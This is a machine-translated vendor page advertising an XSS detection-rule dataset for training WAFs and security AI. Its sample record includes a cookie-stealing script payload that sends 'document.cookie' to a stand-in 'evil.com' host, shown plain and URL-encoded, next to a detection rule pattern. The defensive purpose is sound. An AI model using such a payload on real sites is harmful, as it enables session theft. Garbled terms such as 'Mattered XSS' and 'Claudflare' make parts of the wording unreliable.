Name: XSS
Creator: Changsha Langhui Information Technology Co., Ltd.
Keywords: XSS,,,WAF,XML,bypass,ATT&CK T1189,CSP,,

Dataset Overview

Definition：XSS Cross-Site Scripting Detection Rule Datasetis provided byChangsha Langhui Information Technology Co., Ltd.High-quality web safety testing datasets built by security labs. Each piece of data is defined as "XML Rules + PCAP Traffic + HTTP Reconstructed Text + Attack Type Labels + Ground Truth"The five-dimensional association structure, covering reflector, storage, DOM, mutation (mXSS), CSS, and the five main sub-types,WAF bypass technique label(Code bypassing/case-scraping/label split/incident mutation, etc.), ATT&CK framework T1189 (pass-attack) map, specially designed for WAF/ISS XSS testing rules training and XSS testing AI training design.

Dataset Name	XSS Cross-Site Scripting Detection Rule Dataset
Total Data Volume	1,000-30,000 Records
Data Type	Five-member group: XML rule + PCAP flow + HTTP returned text + attack type label + standard answer
Data Source	Langhui Security Lab + Vulnerability Platform Validation Data
License Type	Commercial Licensing Complete authorization documents are attached
Delivery Cycle	2-4 Weeks
XSS subtype	Refractioned, storage XSS (Stored/Persistent), DOM-based, mXSS (Mattered XSS), CSS Injection
Bypass label	Include WAF bypassing skills tags (coding bypassing/case confusion/label split/incidental event treatment program variation/JavaScript pseudo protocol/HTML physical code, etc.)
ATT&CK Mapping	T1189（Drive-by Compromise）、T1059（Command and Scripting Interpreter）
Output Format	JSONL / CSV / Excel / PCAP
Language	Chinese-English Bilingual

Core Data Fields

Each data contains six main categories of rule labels, XML detection rules, attack on Payload (with bypass techniques), HTTP text, PCAP flows and standard answers, covering the full chain from rule definition to bypass confrontation.

Field Category	Field Count	Typical Fields
Rule Identifier	4	rule_id (only ID of the rules), rule_name (name of the rules), category (XSS sub-type), severity (serious level: CC/High/Medium)
XML Detection Rules	3	rule_xml (ModSecurity/CRS XML rule), rule_signature (rule signature/regular mode), rule_description (rules note)
Attack Payload	4	Payload (original Payload), Payload_ type (type of Payload), Bypass_technique (twipe techniques: encoded/cased/distributed/incidental mutations, etc.), Payload_encoding (coding: URL/HTML Enterity/Hex/base64/UTF-7, etc.)
HTTP Reconstructed Text	3	http_request (full HTTP request, including Headers+Body+Cookies), http_response (full HTTP response), context (injecting context: HTML body/attribute/JavaScript/CSSS/URL)
PCAP Traffic	4	pcap_file (PCAP file name), pcap_md5 (file MD5), pcap_size (file size), flow_signature (traffic feature signature)
Ground Truth	4	is_attack (whether attack: True/false), attack_ type (type of attack), bypass_detected (whether bypass successfully bypassed), waf_name (wieldy WAF name/None)

Data Sample Showcase

The following is a model format (with bypass labels) for the MSS five-track test data for the de-identified structural JSON sample.

{
  "entry_id": "XSS-2024-001523",
  "rule_id": "XSS-REFLECT-0089",
  "rule_name": "Reflected XSS Detection - Script Tag",
  "category": "Reflected XSS",
  "severity": "Critical",
  "rule_xml": "<rule id=\"941100\" phase=\"2\">\n  <operator>detectXSS</operator>\n  <action>block</action>\n  <pattern><script[^>]*>[\\s\\S]*?</script></pattern>\n  <target>ARGS|REQUEST_BODY</target>\n</rule>",
  "payload": "<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>",
  "payload_type": "Reflected XSS - Cookie Theft",
  "bypass_technique": "None (standard script tag injection)",
  "payload_encoding": "None (plaintext)",
  "http_request": "GET /search?q=%3Cscript%3Efetch('https://evil.com/steal%3Fcookie%3D'%2Bdocument.cookie)%3C/script%3E HTTP/1.1\r\nHost: vulnerable-blog.com\r\nUser-Agent: Mozilla/5.0\r\nReferer: https://vulnerable-blog.com/\r\n\r\n",
  "http_response": "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 315\r\n\r\n<html lang="en">...<div class=\"search-result\">Search results: < script> fitch(...) </script></div>...</html>",
  "context": "HTML body - reflected search term",
  "pcap_info": {
    "pcap_file": "xss_reflected_script_tag_20240422.pcap",
    "pcap_md5": "a1b2c3d4e5f678901234567890abcdef",
    "pcap_size": "5678",
    "flow_signature": "HTTP GET with <script> tag in query string parameter 'q', response echoes the script tag without sanitization"
  },
  "technique_id": "T1189",
  "answer": {
    "is_attack": true,
    "attack_type": "Reflected XSS",
    "bypass_detected": false,
    "waf_name": null,
    "true_positive_rate": 0.99
  }
}

AI Application Scenarios

WAF XSS-Program Smart Generation

30,000 XML test rules + Payload+bypass techniques label data, training AI automatically learns the confrontation mode from a bypass sample, produces more robust XSS test rules and continuously improves WAF's ability to counterbypass.

Training in XSS testing models

The five-mix data cover all sub-categories such as reflector, store, dom, mXSS, and support in-depth learning model training to enable AI to detect all types of XSS attacks from HTTP traffic, DOM structure and JavaScript code.

Front-end secure scan AI

A rich XSS injection of context (HTML body/attribute/JavaScript/CSS/URL), training for front-end security scanning AI to automatically identify XSS gaps in Web application, generate PoC and assess risk levels.

Bypass test enhanced

Bypass technical tags (coding bypass/case confusion/label split/incident mutation, etc.) provide AI with high-quality anti-species, training models to identify carefully constructed Bypass Payload and reduce WAF bypass success rates.

Generation of the Content-Security-Policy

Based on XSS attack vectors and context data, AI is trained to automatically analyse Web application structures and generate optimal CSP strategies to maximize XSS protection without unduly limiting functionality.

Security code audit

XSS Payload and mapping data for the gap points, training code audit AI automatically identify JavaScript and unsafe outputs in the template engine (innerHTML/document.write/eval, etc.), generate recommendations for repairs and recommend safety alternatives.

Frequently asked questions

How are datasets authorized? Can it be used for business AI training?

This dataset is provided byChangsha Langhui Information Technology Co., Ltd.Provides business authorization to explicitly cover business AI training and safety product development.

Bypass technique indicates which WAF platforms are covered?

Bypass flags the mainstream WAF/CDN platform (Claudflare, AWS WAF, ModSecurity CRS, F5 BIG-IP ASM, Imperva, etc.), indicating whether Payload successfully bypassed the WAF. It also indicates the technique category around which it is designed (coding, case-writing, split-up, event mutation, etc.) to facilitate the training of generic Bypass detection models.

How do you collect the DOM-type XSS data?

The PCAP traffic of the DOM-XSS does not include Payload (snipes are not sent to servers), so we added the name source (source: migration.hash/document.referrer, etc.) and sink (college: innerHTML/eval/document.write, etc.) to the original HTTP text to help AI understand the pure client-to-client attack chain.

Does the data set contain information on the CSP?

Some HTTP returns contain CSP response headers that can be used to analyse the actual protective effects of the CSP strategy on the XSS attack. The standard answer also indicates information on whether the CSP is effective and supports the training of the CSP strategy assessment and generation model.

How do you obtain data or business advice?

This dataset is provided byChangsha Langhui Information Technology Co., Ltd.Our DataAssets API platform supports both standard datasets and on-demand customization. Please contact us for a detailed data catalog, sample preview, and quote plan.

Needing customized XSS testing programs?

Changsha Langhui Information Technology Co., Ltd. The DataAssetsAPI platform is dedicated to providing high-quality, compliant Web security data assets to AI enterprises and scientific institutions. Support is organized flexibly by XSS sub-type, bypass techniques, and in the context of injection.

Data sample preview Customisation XSS testing program Professional technical support

Data Sample Preview Customized Discipline-Specific Solutions Professional Technical Support